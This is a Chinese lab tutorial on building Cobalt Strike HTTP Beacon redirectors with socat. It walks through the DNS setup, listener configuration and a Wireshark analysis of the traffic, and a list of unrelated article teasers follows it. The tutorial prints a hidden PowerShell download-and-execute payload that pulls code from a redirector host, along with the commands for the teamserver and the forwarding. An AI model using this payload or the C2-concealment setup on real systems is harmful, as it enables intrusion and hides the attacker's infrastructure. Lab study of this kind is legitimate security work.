149.网络安全渗透测试—[Cobalt Strike系列]—[HTTP Beacon重定器/代理服务器/流量走向分析]

news2024/11/15 11:03:12

我认为,无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感!!!

文章目录

    • 一、Cobalt Strike 重定器
      • 1、Cobalt Strike 重定器简介
      • 2、重定器用到的端口转发工具
    • 二、cobalt strike重定器实验
      • 1、实验背景
      • 2、实验过程
      • 3、流量分析

一、Cobalt Strike 重定器

1、Cobalt Strike 重定器简介

(1)重定器简介
    “重定器”是一个在“cobalt strike”服务器和目标网络之间的服务器。这个“重定器”的作用是对你团队服务器下的连接进行任意的连接或返回。(注:即通常说的代理服务器或端口转发工具),“重定器”服务(在攻击和防御中)是很重要的角色。

(2)重定器功能
    第一 保护team server团队服务器地址,并作为攻击者,它也是一个很好的安全操作。
    第二 它给予了热冗余备份能力,假如你的众多重定器中有一两个堵塞了没有大不了的,还可以通过其他的重定器进行通信。

(3)重定器拓扑

Windows Server 2019kaliUbunt1Ubunt2Windows Server 2008
充当DSN服务器充当team server团队服务器充当重定器1(即代理服务器1)充当重定器2(即代理服务器2)充当靶机

在这里插入图片描述

2、重定器用到的端口转发工具

    工具socat是一款端口重定向工具,我们用它来建立80端口上的连接管理,并且继续在80端口运行那个连接团队服务器的连接。(即监听本地80端口,把向本地80的连接请求转发给teamserver团队服务器的80)

    充当重定器的linux系统上的命令:socat TCP4-LISTEN:80,fork TCP4:[team server]:80

二、cobalt strike重定器实验

1、实验背景

(1)网络环境:NAT

(1)dns服务器 windows server2019: 192.168.97.19
(2)team server服务器 kali:192.168.97.129
(3)重定器1 ubuntu14:192.168.97.202
(4)重定器2 ubuntu16:192.168.97.203
(5)靶机 windows server 2008:192.168.97.131

(2)DNS服务器:Windows Server 2019

在这里插入图片描述

第一步:新建域名 team.com
    添加一个a记录测试是否成功:ceshi.team.com 192.168.97.19
在这里插入图片描述

第二步:然后添加以下a记录
    Teamserver:192.168.97.129 t.team.com
    ubuntu跳板 1:192.168.97.202 r1.team.com
    ubuntu跳板2: 192.168.97.203 r2.team.com
在这里插入图片描述

(3)team server团队服务器:kali linux

vim /etc/network/interfaces
在这里插入图片描述
vim /etc/resolv.conf
在这里插入图片描述

(4)重定器1:Ubuntu14.04.5

在这里插入图片描述
在这里插入图片描述

(5)重定器2:Ubuntu16.04.3
在这里插入图片描述
在这里插入图片描述

(6)靶机:Windows Server 2008
在这里插入图片描述

2、实验过程

(1)kali开启teamserver团队服务器:./teamserver 192.168.97.129 123456
//注意:这里要用IP地址,不能使用域名
在这里插入图片描述
(2)本地连接teamserver团队服务器:./cobaltstrike
//注意:这里不再新开虚拟机充当攻击者团队成员了,直接使用kali本地连接到teamserver,因为一样都是在团队服务器上操作。
在这里插入图片描述在这里插入图片描述

(3)所有ubuntu跳板开启端口转发:socat TCP4-LISTEN:80,fork TCP4:ts.team.com:80
//解释1:TCP4-LISTEN:80是监听本地的80端口
//解释2:fork TCP4:t.team.com:80是把监听到的本地端口的连接重定向到teamserver的80端口
//总结:只要是对跳板机的80请求,都会重定向到teamserver,因此在以后的监听器和攻击载荷配置的时候基本上可以把跳板当作teamserver来配置的时候进行配置。(具体操作在下面)
//如下图所示:
在这里插入图片描述
在这里插入图片描述

(4)测试重定向是否成功:
第一步:在team server上打开cs 的web日志浏览器
//如下图所示:点击View选项卡,选择Web Log
在这里插入图片描述
第二步:在dns服务器的火狐浏览器上访问http://r1.team.com/r1
//如下图所示:此时r1接收到dns服务器发来的80请求,r1通过socat把80请求重定向到team server,因此team server会记录到来自r1的请求。
在这里插入图片描述

在这里插入图片描述

第三步:在dns服务器的火狐浏览器访问http://r2.team.com/r2
//如下图所示:此时r2接收到dns服务器发来的80请求,r2通过socat会把80请求重定向到team server,因此team server会记录到来自r2的请求。
在这里插入图片描述
在这里插入图片描述

(5)配置监听器注意事项
注意1:监听器的的第一个host填写team server真实地址
注意2:监听器的的第二个host填写team server所有重定器地址
附:生成攻击载荷的时候host填写任意一个team server的重定器地址(只是为了提供下载),从而隐藏真正的team server地址。
在这里插入图片描述
(6)配置监听器
//如下图所示:这里的host填写的是beacon的真实地址,也就是teamserver团队服务器的地址
在这里插入图片描述
//如下图所示:其中英文This beacon uses HTTP to check for taskings.Please provide thedomains to use for beaconing.The A record for these domainsmust point to your Cobalt strike system. An lP address is OK.separate each host or domain with a comma.的翻译如下:此信标使用HTTP检查任务。请提供用于信标的域。这些域的A记录必须指向您的Cobalt打击系统。IP地址可以。用逗号分隔每个主机或域。(因此:这里填写的是指向teamserver团队服务器的众多重定器)
在这里插入图片描述

(7)生成payload攻击载荷:使用脚本web传递
//如下图所示:生成攻击载荷的时候host填写任意一个team server的重定器地址(只是为了提供下载),从而隐藏真正的team server地址。
在这里插入图片描述
//如下图所示:保存下来payload powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"
在这里插入图片描述
(8)靶机运行payload:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r2.team.com:80/a'))"
//如下图所示:在靶机上运行payload
在这里插入图片描述
//如下图所示:在team server的web日志上记录了跳板r2向team server的请求(实际为靶机向r2请求,r2转到了team server)
在这里插入图片描述
(9)team server上移除会话,断开r2跳板机的socat端口转发,靶机重新使用一次payload,测试冗余功能
//如下图所示:team server移除连接

//如下图所示:断开r2跳板机的socat端口转发
在这里插入图片描述
//如下图所示:靶机再次运行一次payload
在这里插入图片描述
//如下图所示:team server上面只记录到了r1和靶机之间的连接(实际上是靶机向r1发起连接,让r1转发到了team server)

在这里插入图片描述

3、流量分析

(1)在team server服务器打开wireshark,查看流量走向:

//如下图所示:有虚实两种线,是区别两个TCP连接,由于在抓包的过程中,他的包顺序可能会混乱,因此我们分别追踪167的TCP流和174的TCP流,再去加以分析。
在这里插入图片描述

//如下所示:追踪167的TCP流,发现是167到185,是靶机和r1之间的连接
在这里插入图片描述

//如下图解释1:167到169是靶机和r1之间的TCP三次握手,靶机的49321端口和r1的80端口之间建立了连接;
在这里插入图片描述

//如下图解释2:170到173是靶机和r1之间的http连接;
在这里插入图片描述

//如下图解释3:183到184是r2和team server之间的TCP三次握手(本该是四次,这里把FIN和ACK合并了),断开TCP连接;
在这里插入图片描述

//如下图所示:追踪174的TCP流,发现是174到187,是r1和team server之间的连接
在这里插入图片描述

//如下图解释1:174到176是r1跳板和team server之间经过三次握手建立的TCP连接
在这里插入图片描述

//如下图解释2:177到179是r1跳板和team server之间的HTTP连接
在这里插入图片描述

//如下图解释3:180-181-186-187是r1跳板和team server之间四次挥手,断开TCP连接
在这里插入图片描述

(2)移除team server上建立的会话,等待再次连接后,重新查看流量走向,与team server上的命令查看的端口记录对照:
//如下图所示:r1跳板的40314和team server的80端口进行了连接并断开
在这里插入图片描述

//如下图所示:在team server上存在记录
在这里插入图片描述

(3)把r2跳板的socat端口转发打开,再次查看流量走向:

//如下图所示:发现靶机和r2也有连接
在这里插入图片描述

//如下图所示:r2和team server也有连接
在这里插入图片描述

(4)为了验证第13条中的结论,也就是r1和r2都和靶机有连接,我们此时把team server上的会话sleep设置为5,也就是每5秒交互一次,此时观察team server的视图,会发现在5秒后r1和r2在替换

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/431132.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Springboot项目Aop、拦截器、过滤器横向对比

前言 伟人曾经说过,没有调查就没有发言权(好像是伟人说的,不管谁说的,这句话是正确的),有些东西看着简单,张口就来,但很有可能是错的。我个人的经验是,aop、过滤器、拦截器的实现方式很简单&…

冯诺依曼体系结构+操作系统

目录 冯诺依曼体系结构 基本概念 基本原理 操作系统 基本概念 设计OS的目的 管理的本质 管理的方法 系统调用和库函数 冯诺依曼体系结构 基本概念 冯诺依曼结构也称普林斯顿结构,是一种将程序指令存储器和数据存储器合并在一起的存储器结构。 ... 数学…

GDOUCTD NSSCTF2023广东海洋大学比赛WP RE(上) Tea Check_Your_Luck

Check_Your_Luck 下载文件是cpp 是个解方程的题,用python的z3 from z3 import * v,w,x,y,zBitVecs(v w x y z,16)lSolver() l.add(v * 23 w * -32 x * 98 y * 55 z * 90 333322) l.add(v * 123 w * -322 x * 68 y * 67 z * 32 707724) l.add(v * 266 …

openEuler RISC-V 23.03 创新版本亮相:全面提升硬件兼容性和桌面体验

近日,openEuler RISC-V 23.03 创新版本正式发布。openEuler RISC-V SIG 作为 openEuler 系统在 RISC-V 架构上的维护组织,主要致力于 openEuler 在 RISC-V 软硬件方面的适配,一直跟随 openEuler 版本节奏提供 openEuler 的 RISC-V 镜像版本。…

Redis源码之SDS简单动态字符串

Redis 是内存数据库,高效使用内存对 Redis 的实现来说非常重要。 看一下,Redis 中针对字符串结构针对内存使用效率做的设计优化。 一、SDS的结构 c语言没有string类型,本质是char[]数组;而且c语言数组创建时必须初始化大小&#…

图片转PDF怎么转换?快学习这三种免费转换方法!

图像转PDF功能是指将图像文件转换为PDF文件的过程。PDF(PortableDocumentFormat)它是一种文件类型,可以存储许多元素,如文本、图像和报告。PDF文档具有跨平台、可打印、可搜索等优点,因此广泛应用于文档共享、文档存储…

Qt扫盲-QAbstractSeries理论总结

QAbstractSeries理论总结 一、概述二、常用函数1. 属性2. 设置功能3. 显示隐藏4. 与 绘图的交互 三、信号 一、概述 QAbstractSeries类是所有Qt图表线的基类。通常,特定于序列类型的继承类会被使用,而不是这个基类。这个基类只是提供了一些管理和控制这…

多功能科学计算器:Magic Number 2 Mac中文

Magic Number Mac - 让数学更简单。当你能正确地看待数学,能够输入你的想法,并凭直觉做每件事时,数学就会变得轻而易举。从日常数学到高级科学,Magic Number 让您事半功倍——无论您的水平如何。欢迎需要的朋友下载使用&#xff0…

IDEA中使用Git提交代码

在IDEA中使用git提交代码到远程仓库,整体可分为如下几个步骤: 前提:注册有GitHub或者gitee账号;本地安装有git。 1.创建远程仓库(github或者gitee); 2.创建本地仓库并提交代码到本地仓库&#x…

2023年如何成为一名优秀的大前端Leader?

目录 一、0-1开发vs低代码 二、优点与缺点 先以JNPF为例,展开说说优点: 1、开发周期短(这点我愿称之为神): 2、开发成本低 3、助力企业适用市场 再来说说缺点: 1、平台越成熟,费用越高 …

【动态规划】经典问题第三组---背包问题基础

前言 小亭子正在努力的学习编程,接下来将开启算法的学习~~ 分享的文章都是学习的笔记和感悟,如有不妥之处希望大佬们批评指正~~ 同时如果本文对你有帮助的话,烦请收藏点赞关注支持一波, 感激不尽~~ 刷题专栏在这里~~ 简单介绍一下什么是背包问…

再学C语言50:C库中的字符串函数(2)

一、strcmp()函数 功能&#xff1a;对字符串内容进行比较&#xff0c;如果两个字符串参数相同&#xff0c;函数返回0 示例代码&#xff1a; /* test of strcmp() function */ #include <stdio.h> #include <string.h>#define NAME "Forster"int main(…

rem实现移动端自适应

rem实现自适应的原理&#xff1a;就是屏幕的宽度/任意数&#xff08;推荐设计稿除下来是整数&#xff0c;方便计算&#xff09;&#xff0c;接着设置根html的font-size为这个数&#xff0c;比如设计师给我们的设计稿宽度为750px&#xff0c;我们可以用750/7.5得到100再赋值给ht…

rnn、lstm、cnn、transformer

rnn不能并行的原因&#xff1a;不同时间步的隐藏层之间有关联。 rnn中batch的含义 如何理解RNN中的Batch_size&#xff1f;_batch rnn_Forizon的博客-CSDN博客 rnn解决的问题 不定长输入带有顺序的序列输入1 rnn前向传播 2 rnn中的反向传播 还有loss对其他参数的求导&#…

Flutter渲染原理

一 Widget Element RenderObject 之间的关系 1 Widget 在Flutter 中&#xff0c;万物皆是Widget,无论是可见的还是功能型的。一切都是Widget. 官方文档中说的Widget 使用配置和状态来描述View 界面应该长什么样子。 它不仅可以表示UI元素&#xff0c;也可以表示一些功能性的…

前端学习:HTML JavaScript

目录 一、JavaScript 使HTML页面更具有动态性和交互性 浏览器中的 JavaScript 能做什么&#xff1f; 二、 HTML三、HTML标签 ​编辑四、JavaScript 的功能示例 1. JavaScript 能够更改内容&#xff1a; 2. JavaScript能够更改样式&#xff1a;3.JavaScript能够更改属性 五、…

拼多多运营中需要采集淘宝天猫京东平台商品详情页面数据上架拼多多店铺,如何使用技术封装接口实现

业务背景&#xff1a;电商平台趋势&#xff0c;平台化。大家可以看到大的电商都开始有自己的平台&#xff0c;其实这个道理很清楚&#xff0c;就是因为这是充分利用自己的流量、自己的商品和服务大效益化的一个过程&#xff0c;因为有平台&#xff0c;可以利用全社会的资源弥补…

FT2000+ openEuler 20.03 virsh创建qemu kvm虚拟机 启动qemu kvm

安装qemu、libvirt yum install libvirt libvirt-client -y yum install qemu -y 安装固件包 yum install edk2-aarch64 固件文件 配置/etc/libvirt/libvirtd.conf auth_tcp "sasl" listen_tcp 1 listen_tls 0 tcp_port "16509" unix_sock_dir …

RK3588_X703 音频调试笔记

x703项目扩接板有接喇叭音频&#xff0c;硬件如下&#xff1a; 喇叭SPK播放无声的时候&#xff0c;首先要测R43贴片电压正常。 需要dts中正确配置SPK_CTL_H的GPIO脚&#xff1a; es8316_sound: es8316-sound {status "okay";compatible "rockchip,multicodec…

javaScript---js如何实现继承

目录 1、构造函数继承 2、原型链继承 3、组合继承 4、class继承 5、寄生组合继承 JavaScript 是以对象为基础&#xff0c;以函数为模型&#xff0c;以原型为继承的面向对象开发模式。 javascript继承的作用&#xff1a; 可以不调用“父类”的构造方法就创造新的实例&…